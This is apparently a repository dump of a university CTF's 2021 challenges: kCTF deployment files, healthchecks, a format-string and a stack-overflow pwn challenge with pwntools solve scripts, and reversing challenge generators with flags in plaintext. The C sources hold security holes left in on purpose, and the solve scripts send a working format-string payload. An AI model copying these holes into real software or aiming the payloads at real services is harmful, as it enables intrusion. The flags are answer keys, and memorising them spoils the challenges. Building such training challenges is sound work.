gcr.io/kctf-docker/healthcheck@sha256:06c6f051583b84d8dc4d77962256b7d1f1f247f405972e0649c821837b66c894 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 19 | -------------------------------------------------------------------------------- /pwn/printFailed/healthcheck/README.md: -------------------------------------------------------------------------------- 1 | # Healthcheck 2 | 3 | kCTF checks the health of challenges by accessing the healthcheck via 4 | http://host:45281/healthz which needs to return either 200 ok or an error 5 | depending on the status of the challenge. 6 | 7 | The default healthcheck consists of: 8 | * a loop that repeatedly calls a python script and writes the status to a file 9 | * a webserver that checks the file and serves /healthz 10 | * the actual healthcheck code using pwntools for convenience 11 | 12 | To modify it, you will likely only have to change the script in healthcheck.py. 13 | You can test if the challenge replies as expected or better add a full example 14 | solution that will try to get the flag from the challenge. 15 | -------------------------------------------------------------------------------- /pwn/printFailed/healthcheck/healthcheck.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | 17 | import pwnlib 18 | from pwn import * 19 | 20 | p = pwnlib.tubes.remote.remote('127.0.0.1', 1337) 21 | 22 | p.recvline() 23 | p.sendline("%4$s") 24 | p.recvline() 25 | x = p.recvline() 26 | y = '' 27 | for i in x: 28 | y+=chr(i-1) 29 | if('sdctf{D0nt_b3_4_f41lur3_1ik3_tH1S_C0d3}' in y): 30 | #print(r.recvuntil(b'CTF{')) 31 | #print(r.recvuntil(b'}')) 32 | print('success') 33 | exit(0) 34 | else: 35 | it = 0 36 | for i in y: 37 | print(i+' '+'sdctf{D0nt_b3_4_f41lur3_1ik3_tH1S_C0d3}'[it]) 38 | it+=1 39 | exit(1) 40 | -------------------------------------------------------------------------------- /pwn/printFailed/healthcheck/healthcheck.py.save: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | 17 | import pwnlib 18 | 19 | r = pwnlib.tubes.remote.remote('127.0.0.1', 1337) 20 | 21 | print(r.recvuntil(b'CTF{')) 22 | p.recvline() 23 | p.sendline("%4$s") 24 | p.recvline() 25 | x = p.recvline() 26 | y = '' 27 | for i in x: 28 | y+=chr(ord(i)-1) 29 | print(y) 30 | 31 | 32 | 33 | 34 | print(r.recvuntil(b'}')) 35 | 36 | exit(0) 37 | -------------------------------------------------------------------------------- /pwn/printFailed/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /pwn/printFailed/healthcheck/healthz_webserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | import http.server 17 | 18 | class HealthzHandler(http.server.BaseHTTPRequestHandler): 19 | def do_GET(self): 20 | if self.path != '/healthz': 21 | self.send_response(404) 22 | self.send_header("Content-length", "0") 23 | self.end_headers() 24 | return 25 | 26 | content = b'err' 27 | try: 28 | with open('/tmp/healthz', 'rb') as fd: 29 | content = fd.read().strip() 30 | except: 31 | pass 32 | self.send_response(200 if content == b'ok' else 400) 33 | self.send_header("Content-type", "text/plain") 34 | self.send_header("Content-length", str(len(content))) 35 | self.end_headers() 36 | self.wfile.write(content) 37 | 38 | httpd = http.server.HTTPServer(('', 45281), HealthzHandler) 39 | httpd.serve_forever() 40 | -------------------------------------------------------------------------------- /pwn/printFailed/healthcheck/sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | #must be run in bin to work 3 | #p = process('./printFailed') 4 | p = remote('localhost',41419) 5 | p.recvline() 6 | p.sendline("%4$s") 7 | p.recvline() 8 | x = p.recvline() 9 | y = '' 10 | for i in x: 11 | y+=chr(ord(i)-1) 12 | print(y) 13 | -------------------------------------------------------------------------------- /pwn/printFailed/printFailed.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int FLAG_LEN = 40; 5 | char flag[40]; 6 | char guess[40]; 7 | 8 | 9 | void scramble(int times){ 10 | for(int i = 0; i < times; i++){ 11 | flag[i] = flag[i]+1; 12 | } 13 | } 14 | 15 | 16 | 17 | int main(int argc, char ** argv){ 18 | FILE * f = fopen("flag.txt", "r"); 19 | fgets(flag, 40, f); 20 | scramble(39); 21 | puts("can you guess the scrambled flag?"); 22 | fflush(stdout); 23 | fgets(guess, 40, stdin); 24 | puts("you guessed: "); 25 | printf(guess,main,scramble,FLAG_LEN,flag); 26 | if(strcmp(guess,flag)==0){ 27 | puts("nice guess!"); 28 | } 29 | else{ 30 | puts("wrong"); 31 | } 32 | } 33 | 34 | -------------------------------------------------------------------------------- /pwn/printFailed/sol.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | #must be run in bin to work 3 | #p = process('./printFailed') 4 | p = remote('127.0.0.1', 1337) 5 | p.recvline() 6 | p.sendline("%4$s") 7 | p.recvline() 8 | x = p.recvline() 9 | y = '' 10 | for i in x: 11 | y+=chr(ord(i)-1) 12 | print(y) 13 | -------------------------------------------------------------------------------- /pwn/unique-lasso/README.md: -------------------------------------------------------------------------------- 1 | # Unique Lasso 2 | ## Pwn - Medium 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | green beans | none | **zzz** from **Team Kalmarunionen** | 23 | 441 | 6 | 7 | ### prompt 8 | I was just in the wild west and found this cool new lasso, I wonder how long it goes 9 | 10 | Connect via: `nc lasso.sdc.tf 1337` 11 | 12 | **attachments**: `uniqueLasso` binary 13 | 14 | ### original specification 15 | Rop challenge doable through automated tools 16 | 17 | **flag**: `sdctf{H0w_l0nG_w45_uR_L4ss0_m1n3_w45_ju5T_5}` 18 | ### writeups 19 | - https://blackbeard666.github.io/pwn_exhibit/content/2021_CTF/sandiegoCTF/lasso.html 20 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#Unique-Lasso 21 | - https://qiita.com/mikecat_mixc/items/5a0c45751b15c8a8513b#unique-lasso 22 | -------------------------------------------------------------------------------- /pwn/unique-lasso/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | #change to chal name 5 | name: unique-lasso 6 | spec: 7 | deployed: true 8 | powDifficultySeconds: 0 9 | network: 10 | public: true 11 | healthcheck: 12 | enabled: true 13 | image: eu.gcr.io/sdctf-2021/unique-lasso-healthcheck:9cb518dc291149b5c37de69d9823a9b48c9d48d38fd75857c8731fb4118f74b4 14 | image: eu.gcr.io/sdctf-2021/unique-lasso-challenge:6958b1db2ae162fffa0d965cff899fdc6eb723adc5023fc9c20a2cb3056ba0e9 15 | -------------------------------------------------------------------------------- /pwn/unique-lasso/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM ubuntu:20.04 as chroot 15 | 16 | RUN /usr/sbin/useradd --no-create-home -u 1000 user 17 | 18 | COPY flag.txt / 19 | COPY uniqueLasso /home/user/ 20 | 21 | FROM gcr.io/kctf-docker/challenge@sha256:6dd60da626bc43bf3175d9d7436006db5acc7710d5d1b7006ab53e718fe51e40 22 | 23 | COPY --from=chroot / /chroot 24 | 25 | COPY nsjail.cfg /home/user/ 26 | 27 | CMD kctf_setup && \ 28 | kctf_drop_privs \ 29 | socat \ 30 | TCP-LISTEN:1337,reuseaddr,fork \ 31 | EXEC:"nsjail --config /home/user/nsjail.cfg -- /home/user/uniqueLasso" 32 | -------------------------------------------------------------------------------- /pwn/unique-lasso/challenge/Makefile: -------------------------------------------------------------------------------- 1 | uniqueLasso: uniqueLasso.c 2 | gcc -static -fno-stack-protector uniqueLasso.c -o uniqueLasso 3 | -------------------------------------------------------------------------------- /pwn/unique-lasso/challenge/flag.txt: -------------------------------------------------------------------------------- 1 | sdctf{H0w_l0nG_w45_uR_L4ss0_m1n3_w45_ju5T_5} 2 | -------------------------------------------------------------------------------- /pwn/unique-lasso/challenge/nsjail.cfg: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | 15 | # See options available at https://github.com/google/nsjail/blob/master/config.proto 16 | 17 | name: "default-nsjail-configuration" 18 | description: "Default nsjail configuration for pwnable-style CTF task." 19 | 20 | mode: ONCE 21 | uidmap {inside_id: "1000"} 22 | gidmap {inside_id: "1000"} 23 | mount_proc: true 24 | rlimit_as_type: HARD 25 | rlimit_cpu_type: HARD 26 | rlimit_nofile_type: HARD 27 | rlimit_nproc_type: HARD 28 | 29 | mount: [ 30 | { 31 | src: "/chroot" 32 | dst: "/" 33 | is_bind: true 34 | }, 35 | { 36 | src: "/etc/resolv.conf" 37 | dst: "/etc/resolv.conf" 38 | is_bind: true 39 | } 40 | ] 41 | -------------------------------------------------------------------------------- /pwn/unique-lasso/challenge/uniqueLasso: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/acmucsd/sdctf-2021/fcddb506f5f798a264fc17e5588c0f5b7d5fbb2c/pwn/unique-lasso/challenge/uniqueLasso -------------------------------------------------------------------------------- /pwn/unique-lasso/healthcheck/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License is distributed on an "AS IS" BASIS, 11 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 12 | # See the License for the specific language governing permissions and 13 | # limitations under the License. 14 | FROM gcr.io/kctf-docker/healthcheck@sha256:06c6f051583b84d8dc4d77962256b7d1f1f247f405972e0649c821837b66c894 15 | 16 | COPY healthcheck_loop.sh healthcheck.py healthz_webserver.py /home/user/ 17 | 18 | CMD kctf_drop_privs /home/user/healthcheck_loop.sh & /home/user/healthz_webserver.py 19 | -------------------------------------------------------------------------------- /pwn/unique-lasso/healthcheck/README.md: -------------------------------------------------------------------------------- 1 | # Healthcheck 2 | 3 | kCTF checks the health of challenges by accessing the healthcheck via 4 | http://host:45281/healthz which needs to return either 200 ok or an error 5 | depending on the status of the challenge. 6 | 7 | The default healthcheck consists of: 8 | * a loop that repeatedly calls a python script and writes the status to a file 9 | * a webserver that checks the file and serves /healthz 10 | * the actual healthcheck code using pwntools for convenience 11 | 12 | To modify it, you will likely only have to change the script in healthcheck.py. 13 | You can test if the challenge replies as expected or better add a full example 14 | solution that will try to get the flag from the challenge. 15 | -------------------------------------------------------------------------------- /pwn/unique-lasso/healthcheck/healthcheck_loop.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Copyright 2020 Google LLC 3 | # 4 | # Licensed under the Apache License, Version 2.0 (the "License"); 5 | # you may not use this file except in compliance with the License. 6 | # You may obtain a copy of the License at 7 | # 8 | # https://www.apache.org/licenses/LICENSE-2.0 9 | # 10 | # Unless required by applicable law or agreed to in writing, software 11 | # distributed under the License is distributed on an "AS IS" BASIS, 12 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | # See the License for the specific language governing permissions and 14 | # limitations under the License. 15 | set -Eeuo pipefail 16 | 17 | TIMEOUT=20 18 | PERIOD=30 19 | 20 | export TERM=linux 21 | export TERMINFO=/etc/terminfo 22 | 23 | while true; do 24 | echo -n "[$(date)] " 25 | if timeout "${TIMEOUT}" /home/user/healthcheck.py; then 26 | echo 'ok' | tee /tmp/healthz 27 | else 28 | echo -n "$? " 29 | echo 'err' | tee /tmp/healthz 30 | fi 31 | sleep "${PERIOD}" 32 | done 33 | -------------------------------------------------------------------------------- /pwn/unique-lasso/healthcheck/healthz_webserver.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | # Copyright 2020 Google LLC 4 | # 5 | # Licensed under the Apache License, Version 2.0 (the "License"); 6 | # you may not use this file except in compliance with the License. 7 | # You may obtain a copy of the License at 8 | # 9 | # https://www.apache.org/licenses/LICENSE-2.0 10 | # 11 | # Unless required by applicable law or agreed to in writing, software 12 | # distributed under the License is distributed on an "AS IS" BASIS, 13 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 14 | # See the License for the specific language governing permissions and 15 | # limitations under the License. 16 | import http.server 17 | 18 | class HealthzHandler(http.server.BaseHTTPRequestHandler): 19 | def do_GET(self): 20 | if self.path != '/healthz': 21 | self.send_response(404) 22 | self.send_header("Content-length", "0") 23 | self.end_headers() 24 | return 25 | 26 | content = b'err' 27 | try: 28 | with open('/tmp/healthz', 'rb') as fd: 29 | content = fd.read().strip() 30 | except: 31 | pass 32 | self.send_response(200 if content == b'ok' else 400) 33 | self.send_header("Content-type", "text/plain") 34 | self.send_header("Content-length", str(len(content))) 35 | self.end_headers() 36 | self.wfile.write(content) 37 | 38 | httpd = http.server.HTTPServer(('', 45281), HealthzHandler) 39 | httpd.serve_forever() 40 | -------------------------------------------------------------------------------- /pwn/unique-lasso/uniqueLasso.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | int main(){ 4 | char str[2]; 5 | 6 | puts("how long do you think this lasso is: (hint: its really long)"); 7 | fflush(stdout); 8 | fgets(str, 600, stdin); 9 | int val = atoi(str); 10 | printf("You guessed %d\n", val); 11 | puts("Its gotta be way longer than that"); 12 | fflush(stdout); 13 | 14 | return(0); 15 | } 16 | 17 | 18 | -------------------------------------------------------------------------------- /rev/0xC0F1D19D15EA5E/.gitignore: -------------------------------------------------------------------------------- 1 | # Exclude the challenge binary (for now) 2 | 0xC0F1D 3 | -------------------------------------------------------------------------------- /rev/0xC0F1D19D15EA5E/assert-fail.sh: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env bash 2 | 3 | expected_exit_code=1 4 | 5 | "$@" 6 | exit_code=$? 7 | if (( exit_code == expected_exit_code )); then 8 | exit 0 9 | else 10 | echo "Expected exit code: $expected_exit_code, actual exit code: $exit_code" 11 | exit 1 12 | fi 13 | -------------------------------------------------------------------------------- /rev/0xC0F1D19D15EA5E/debug.gdbinit: -------------------------------------------------------------------------------- 1 | handle SIGILL nostop 2 | set environment MASK_ON =true 3 | -------------------------------------------------------------------------------- /rev/0xC0F1D19D15EA5E/encrypt-flag.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | # sdctf{D1D_1_gET_SIGILL?_U_cant_TELL_bc_tH3RE_4RE_n0_SyMPt0m5!!} 4 | FLAG = b'sdctf{D1D_1_gET_SIGILL?_U_cant_TELL_bc_tH3RE_4RE_n0_SyMPt0m5!!}\0' 5 | 6 | password = b'12233123312331231223312331233123312312233123312331233123122331233123312331231223312331233123312312233123312331233123122331233123312312233123312331233123122331233123312331231223312331' 7 | 8 | assert len(FLAG) == 64 9 | 10 | def xor(a: bytes, b: bytes): 11 | assert len(a) == len(b) 12 | return bytes((ac ^ bc for ac, bc in zip(a, b))) 13 | 14 | 15 | 16 | enc = xor(FLAG[0:32], hashlib.sha256(password + b'A').digest()) +\ 17 | xor(FLAG[32:64], hashlib.sha256(password + b'B').digest()) 18 | 19 | print('const unsigned char flag_enc[] = {' + ','.join(map(hex, enc)) + '};') -------------------------------------------------------------------------------- /rev/0xC0F1D19D15EA5E/encrypt-url.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | URL = b'acmurl.com/covid-challenge' 4 | BLOCK_LENGTH = 32 5 | 6 | PASSWORD_OBF_KEY = 13 7 | 8 | assert len(URL) < BLOCK_LENGTH 9 | 10 | url_c = URL.ljust(BLOCK_LENGTH, b'\0') 11 | 12 | def xor(a: bytes, b: bytes): 13 | assert len(a) == len(b) 14 | return bytes((ac ^ bc for ac, bc in zip(a, b))) 15 | 16 | password = b'd3bugg3rs_ar3_s0_dumb' 17 | 18 | enc = xor(url_c, hashlib.sha256(password).digest()) 19 | 20 | password_enc = bytes((c * PASSWORD_OBF_KEY) & 0xff for c in password) 21 | 22 | print('#define FAKE_PASSWORD_LENGTH ({})'.format(len(password))) 23 | print('#define PASSWORD_OBF_KEY ({})'.format(PASSWORD_OBF_KEY)) 24 | print('const unsigned char password_enc[] = {' + ','.join(map(hex, password_enc)) + '};') 25 | print('const unsigned char rickroll_url_enc[] = {' + ','.join(map(hex, enc)) + '};') 26 | -------------------------------------------------------------------------------- /rev/a-bowl-of-pythons/README.md: -------------------------------------------------------------------------------- 1 | # A Bowl of Pythons 2 | ## Reversing - Easy 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | k3v1n | none | **PinkNoize** from **Team HashSlingingHackers** | 94 | 115 | 6 | 7 | ### prompt 8 | A bowl of spaghetti is nice. What about a bowl of pythons? 9 | 10 | **attachments**: `chal.py` 11 | ### original specification 12 | (NOTE: renamed from Python Sanity Check since this is not really as simple as a sanity check) A simple Python script reversing challenge with simple XOR. Nothing more than identifier obfuscation. 13 | 14 | The name is a reference to https://en.wikipedia.org/wiki/Spaghetti_code, or obfuscated code. 15 | 16 | **flag**: `sdctf{v3ry-t4sty-sph4g3tt1}` 17 | ### writeups 18 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#A-Bowl-of-Pythons 19 | - https://github.com/thewhitecircle/ctf_writeups/blob/main/sdctf_2021/re.md#a-bowl-of-pythons 20 | - https://qiita.com/mikecat_mixc/items/5a0c45751b15c8a8513b#a-bowl-of-pythons 21 | - https://szymanski.ninja/en/ctfwriteups/2021/sdctf/a-bowl-of-pythons/ 22 | - https://github.com/Fl4gSm4sher/CTF-WriteUps/tree/main/San%20Diego%20CTF%202021/REVENGE/A%20Bowl%20of%20Pythons 23 | - https://github.com/3vilbuff3r/ctf-writeups/blob/master/sdctf-2021/revenge/a-bowl-of-pythons.md 24 | -------------------------------------------------------------------------------- /rev/a-bowl-of-pythons/chal-template.txt: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | FLAG = 'sdctf{a_v3ry_s3cur3_w4y_t0_st0r3_ur_FLAG}' # lol 3 | 4 | a = lambda n: a(n-2) + a(n-1) if n >= 2 else (2 if n == 0 else 1) 5 | 6 | b = lambda x: bytes.fromhex(x).decode() 7 | 8 | h = eval(b('7072696e74')) 9 | 10 | def d(): 11 | h(b('496e636f727265637420666c61672120596f75206e65656420746f206861636b206465657065722e2e2e')) 12 | eval(b('5f5f696d706f72745f5f282273797322292e65786974283129')) 13 | h(FLAG) 14 | 15 | def e(f): 16 | h("Welcome to SDCTF's the first Reverse Engineering challenge.") 17 | c = input("Input the correct flag: ") 18 | if c[:6].encode().hex() != '{2}3{0}{1}{0}3{2}{1}{0}{0}{2}b'.format(*map(str, [6, 4, 7])): 19 | d() 20 | if c[int(chr(45) + chr(49))] != chr(125): 21 | d() 22 | g = c[6:-1].encode() 23 | if bytes( (g[i] ^ (a(i) & 0xff) for i in range(len(g))) ) != f: 24 | d() 25 | h(b('4e696365206a6f622e20596f7520676f742074686520636f727265637420666c616721')) 26 | 27 | if __name__ == "__main__": 28 | e(__PATCH_ME__) 29 | else: 30 | eval(b('5f5f696d706f72745f5f282273797322292e65786974283029')) 31 | -------------------------------------------------------------------------------- /rev/a-bowl-of-pythons/chal.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | FLAG = 'sdctf{a_v3ry_s3cur3_w4y_t0_st0r3_ur_FLAG}' # lol 3 | 4 | a = lambda n: a(n-2) + a(n-1) if n >= 2 else (2 if n == 0 else 1) 5 | 6 | b = lambda x: bytes.fromhex(x).decode() 7 | 8 | h = eval(b('7072696e74')) 9 | 10 | def d(): 11 | h(b('496e636f727265637420666c61672120596f75206e65656420746f206861636b206465657065722e2e2e')) 12 | eval(b('5f5f696d706f72745f5f282273797322292e65786974283129')) 13 | h(FLAG) 14 | 15 | def e(f): 16 | h("Welcome to SDCTF's the first Reverse Engineering challenge.") 17 | c = input("Input the correct flag: ") 18 | if c[:6].encode().hex() != '{2}3{0}{1}{0}3{2}{1}{0}{0}{2}b'.format(*map(str, [6, 4, 7])): 19 | d() 20 | if c[int(chr(45) + chr(49))] != chr(125): 21 | d() 22 | g = c[6:-1].encode() 23 | if bytes( (g[i] ^ (a(i) & 0xff) for i in range(len(g))) ) != f: 24 | d() 25 | h(b('4e696365206a6f622e20596f7520676f742074686520636f727265637420666c616721')) 26 | 27 | if __name__ == "__main__": 28 | e(b't2q}*\x7f&n[5V\xb42a\x7f3\xac\x87\xe6\xb4') 29 | else: 30 | eval(b('5f5f696d706f72745f5f282273797322292e65786974283029')) 31 | -------------------------------------------------------------------------------- /rev/a-bowl-of-pythons/mkchal.py: -------------------------------------------------------------------------------- 1 | #! /usr/bin/env python3 2 | # FLAG is the part between sdctf{} (Ex. if the flag is `sdctf{abcd}`, then FLAG = 'abcd') 3 | FLAG = b'v3ry-t4sty-sph4g3tt1' 4 | # b't2q}*\x7f&n[5V\xb42a\x7f3\xac\x87\xe6\xb4' 5 | # flag: 6 | # sdctf{v3ry-t4sty-sph4g3tt1} 7 | 8 | # Get the (n+1)th lucas number 9 | def lucas_key(n): 10 | if n < 2: 11 | return 2 if n == 0 else 1 12 | return lucas_key(n-2) + lucas_key(n-1) 13 | 14 | flag_check = bytes( (FLAG[i] ^ (lucas_key(i) & 0xff) for i in range(len(FLAG))) ) 15 | 16 | PATCH_ME_PATTERN = '__PATCH_ME__' 17 | 18 | # Make your to update the last line of this challenge when the flag changes 19 | with open('chal-template.txt') as template, open('chal.py', 'w') as challenge: 20 | challenge.write(template.read().replace(PATCH_ME_PATTERN, str(flag_check))) 21 | 22 | print('Challenge patched successfully') 23 | -------------------------------------------------------------------------------- /rev/desmos-pro/README.md: -------------------------------------------------------------------------------- 1 | # Desmos Pro 2 | ## Reversing - Hard 3 | | author | prereq chals | first blood | solves | final points | 4 | | --- | --- | --- | --- | --- | 5 | | k3v1n | none | **keymoon** from **Team zer0pts** | 5 | 799 | 6 | 7 | ### prompt 8 | Activate Desmos Pro **today** to get exclusive access to 24/7 math support and tutoring. 9 | 10 | Activation Link: https://www.desmos.com/calculator/d5j93bmpor 11 | 12 | ### original specification 13 | 14 | Link to the **Deobfuscated/admin version of this challenge**: https://www.desmos.com/calculator/iscr9mbdi1 15 | 16 | ripoff of hxp CTF 2020's EXCELlent but using https://www.desmos.com/calculator instead of Excel. 17 | 18 | Maybe print the decrypted flag using this image decoding formula: https://en.wikipedia.org/wiki/Tupper%27s_self-referential_formula 19 | Sample here (drawing Minecraft creeper's head): https://www.desmos.com/calculator/qlddumplvn 20 | Another sample demonstrating the ability to display text (using flag as an example): 21 | https://www.desmos.com/calculator/p6zpf4l36f 22 | 23 | **flag**: `sdctf{440778777}` 24 | ### writeups 25 | - https://hackmd.io/@ptr-yudai/BJ3BCl8dd#Desmos-Pro 26 | - https://www.csn3rd.com/DesmosProWriteup.pdf -------------------------------------------------------------------------------- /rev/desmos-pro/flag.txt: -------------------------------------------------------------------------------- 1 | sdctf{440778777} 2 | -------------------------------------------------------------------------------- /rev/desmos-pro/plist-render-desmos.py: -------------------------------------------------------------------------------- 1 | # Render a bitmap in Desmos using parallel list of colored coordinates technique 2 | # Maze prototype: https://www.desmos.com/calculator/jjj3l82fg7 3 | 4 | import mazegen 5 | 6 | M = mazegen.M 7 | 8 | def render_bitmap(bitmap: M, filled: bool): 9 | height = len(bitmap) 10 | width = len(bitmap[0]) 11 | xlist = [] 12 | ylist = [] 13 | megalist = [] 14 | for y in range(height): 15 | desmos_y = height - 1 - y 16 | megalist.extend(map(int, bitmap[y])) 17 | for x in range(width): 18 | if bitmap[y][x] == filled: 19 | xlist.append(x) 20 | ylist.append(desmos_y) 21 | # return xlist, ylist 22 | print('u={}'.format(xlist)) 23 | print('v={}'.format(ylist)) 24 | print('m={}'.format(megalist)) 25 | 26 | render_bitmap(mazegen.generate_maze(21, 21, 3157464641), mazegen.WALL) 27 | # render_bitmap(mazegen.generate_maze(7, 7, 1337), mazegen.WALL) 28 | -------------------------------------------------------------------------------- /rev/major-change-application/Makefile: -------------------------------------------------------------------------------- 1 | CC = gcc 2 | WARNINGS = -Wall -Wextra -Wformat=2 -Wconversion -Wduplicated-cond -Wlogical-op -Wshift-overflow=2 -Wfloat-equal -Wshadow 3 | COMMON_DIR = ../../common/ 4 | COMMON_SRCS = $(COMMON_DIR)common.c 5 | COMMON_HEADERS = $(COMMON_DIR)common.h 6 | 7 | CFLAGS = $(WARNINGS) $(COMMON_SRCS) -I$(COMMON_DIR) -lm 8 | 9 | # By convention: all excludes debug build to ease deployment 10 | all: chal.out challenge/deploy.out 11 | 12 | test-solve: solve.py chal.out 13 | python3 ./solve.py 14 | 15 | # Debug build, to ease challenge author's testing, do not release to participants 16 | debug.out: app-server.c $(COMMON_SRCS) $(COMMON_HEADERS) 17 | $(CC) app-server.c -g -DDEBUG $(CFLAGS) -o debug.out 18 | 19 | # Deploy build (the deployed version) 20 | challenge/deploy.out: app-server.c $(COMMON_SRCS) $(COMMON_HEADERS) 21 | $(CC) app-server.c -g -DDEPLOY $(CFLAGS) -o challenge/deploy.out 22 | 23 | # Challenge build (the version given to CTF participants) 24 | chal.out: app-server.c $(COMMON_SRCS) $(COMMON_HEADERS) 25 | $(CC) app-server.c $(CFLAGS) -o chal.out 26 | strip chal.out 27 | 28 | .PHONY: clean run-debug run-chal 29 | 30 | clean: 31 | rm -f chal.out debug.out challenge/deploy.out 32 | 33 | run-debug: debug.out 34 | ./debug.out 35 | 36 | run-chal: chal.out 37 | ./chal.out 38 | -------------------------------------------------------------------------------- /rev/major-change-application/challenge.yaml: -------------------------------------------------------------------------------- 1 | apiVersion: kctf.dev/v1 2 | kind: Challenge 3 | metadata: 4 | #change to chal name 5 | name: major-change-app 6 | spec: 7 | deployed: true 8 | powDifficultySeconds: 0 9 | network: 10 | public: true 11 | healthcheck: 12 | enabled: false 13 | image: eu.gcr.io/sdctf-2021/major-change-app-challenge:2f6276bf4ac3dd763f4a28bc01031551258bd8d9fd618d2fe19f1d081b73f687 14 | -------------------------------------------------------------------------------- /rev/major-change-application/challenge/Dockerfile: -------------------------------------------------------------------------------- 1 | # Copyright 2020 Google LLC 2 | # 3 | # Licensed under the Apache License, Version 2.0 (the "License"); 4 | # you may not use this file except in compliance with the License. 5 | # You may obtain a copy of the License at 6 | # 7 | # https://www.apache.org/licenses/LICENSE-2.0 8 | # 9 | # Unless required by applicable law or agreed to in writing, software 10 | # distributed under the License 